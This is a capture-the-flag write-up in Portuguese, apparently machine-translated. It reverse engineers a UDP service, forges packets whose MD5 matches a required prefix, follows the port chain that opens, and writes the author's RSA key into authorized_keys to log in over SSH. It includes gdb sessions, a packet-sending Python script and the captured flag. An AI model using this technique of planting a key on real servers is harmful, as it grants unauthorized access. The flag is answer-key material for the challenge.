Eu obtive o arquivo flow.log com todos os endereços passados durante a execução da função em estudo. Na verdade, não era tão simples, mas no final cheguei a isso.Preparou um arquivo “ disasm.log ” com código desmontado do objdmp para um tipo legível como “ endereço: instrução ” sem linhas extras.Eu lancei esse script F_NAME = "disasm.log" F_FLOW = "flow.log" def prepare_code_flow(f_path): with open(f_path, "rb") as fr: data = fr.readlines() data = filter(lambda x: x, data) start_address = long(data[0].split(":")[0], 16) end_address = long(data[-1].split(":")[0], 16) res = [""] * (end_address - start_address + 1) for _d in data: _d = _d.split(":") res[long(_d[0].strip(), 16) - start_address] = "".join(_d[1:]).strip() return start_address, res def parse_instruction(code): mnem = code[:7].strip() ops = code[7:].split(",") return [mnem] + ops def process_instruction(code): parse_data = parse_instruction(code) if parse_data[1] in ["rax", "eax", "al"]: return True return False if __name__ == '__main__':
O script simplesmente "vai" para os endereços desde o final até o momento em que recebe o registro RAX no primeiro operando da instrução. Resultado:
0x67c27c mov DWORD PTR [rbp-0x14], 0x0
Aqui está um valor zero. Em seguida, basta voltar para qualquer ramificação (arquivo " flow.log "): 95b6ad: jmp 73d0d1 <MD5_Final@@Base+0xb9e1d> 95b6b2: cmp DWORD PTR [rbp-0x2d4],0x133337 95b6bc: jne 67c270 <MD5_Update@@Base+0x1b79f3>
O endereço 0x95b6b2 é uma comparação de um determinado valor com 0x133337. Ponto de interrupção, veja [rbp-0x2d4]. Para fazer isso, envie o pacote com os dados "testtest": # echo -n "testtest" > md5.bin # truncate -s 512 md5.bin # md5sum md5.bin e9b9de230bdc85f3e929b0d2495d0323 md5.bin # echo -n "testtest" > /dev/udp/127.0.0.1/5432 (gdb) b *0x95b6b2 Breakpoint 6 at 0x95b6b2 (gdb) c Continuing. Verifying 74657374 00deb9e9 Breakpoint 6, 0x000000000095b6b2 in MD5_Final () (gdb) x/20bx $rbp-0x2d4 0x7fffffffdd7c: 0xe9 0xb9 0xde 0x00 0xe9 0xb9 0xde 0x23 0x7fffffffdd84: 0x0b 0xdc 0x85 0xf3 0xe9 0x29 0xb0 0xd2 0x7fffffffdd8c: 0x49 0x5d 0x03 0x23
Corresponda os 3 primeiros bytes da soma MD5. A solução se resume em obter a soma MD5 com os 3 primeiros bytes "\ x37 \ x33 \ x13".Um script simples para iterar números de zero com o cálculo no formato binário MD5 para a correspondência desejada. Dados necessários para o envio recebido. Enviamos dados e recebemos uma mensagem do serviço sobre a nomeação de uma nova porta para recebimento de dados: New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...3 14235 0
O Netstat não mostrou essa porta e, de fato, novas portas. Mas o ps mostrou a presença de um processo filho encerrado (zumbis). Surgiu a ideia de que a porta se abre por um tempo no processo filho.Enviei o pacote necessário para a porta 5432 e depois para a porta 14235. E nada. A porta parou de abrir. Como resultado, geramos outros dados e, consequentemente, o MD5 com o início correto. Mensagem novamente, mas desta vez com uma porta diferente. Após reiniciar o serviço, o primeiro MD5 funcionou, novamente com a porta 14235. Havia uma idéia de que o serviço lembra o MD5 gasto. Portanto, eu o testei toda vez que reiniciei o serviço.Resultado Binding 22 Waiting for data...Verifying 1BFFFFFFD1FFFFFF8B50 00133337 New salt 508bd11b Next port 14235 Binding 14235 Waiting for data...Received packet from 127.0.0.1:43614 Data: 3 14235 27 Next port 23038 Binding 23038 Waiting for data...4
Novamente uma nova porta. Aqui comecei a pensar que a cadeia de portas poderia ser longa ...De fato, a próxima porta (31841) era a última. Depois de algum tempo trabalhando com gdb e código desmontado e vários testes, descobri que o arquivo “/home/task/.ssh/authorized_keys” apareceu.Descobrir ainda mais a causa da aparência do arquivo se tornou uma questão de tempo, o que também está gravado nesse arquivo. Como resultado, os dados do pacote enviado após a primeira e a última porta aberta são gravados no arquivo (se não estiver claro, eles serão vistos no script abaixo).Geração adicional de chaves RSA e envio público.Em seguida, autorização no servidor via SSH, pesquise e obtenha o sinalizador.No processo de inscrição, apenas a terceira soma MD5 gerada funcionou para mim. Depois de concluir a tarefa, descobri pelos resultados do reverso que, de fato, a terceira quantia sempre funcionará (ou melhor, antes da expiração de um determinado contador). Para a soma operar continuamente, é necessário que o número inteiro do tipo int transmitido nos primeiros 4 bytes dos dados do pacote (do qual MD5 é considerado) seja negativo, ou seja, o primeiro bit do quarto byte seja definido (ordem inversa).Abaixo está o script usado para transmitir a chave RSA ao resolver o problema. import socket import time import SocketServer import select d = ['\x1b\xd1\x8bP\x00\x00\x00\x00', '\x16\xbc\xf9 \x00\x00\x00\x00', '"\xa5I\x90\x00\x00\x00\x00\x00\x00'] s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) print "Send 1" s.sendto(d[0], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 2" s.sendto(d[1], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 3" s.sendto(d[2], ("95.216.185.52", 5432)) time.sleep(0.2) print "Send 4" s.sendto("\x00", ("95.216.185.52", 41357)) time.sleep(0.2) print "Send 5" s.sendto("\x04", ("95.216.185.52", 42381))
Linha pesquisada: sinalizador {a1ec3c43cae4250faa302c412c7cc524}Se for bem-sucedida, obtemos "OK" em resposta.De fato, como escrevi, acabou sendo supérfluo enviar a primeira e a segunda soma MD5. Eu também acho que nem tudo foi decidido a partir do necessário, apenas foi escolhido.Não achei que receberia um convite, quase 40 horas se passaram desde o início da tarefa até o momento em que enviei a bandeira. Obrigada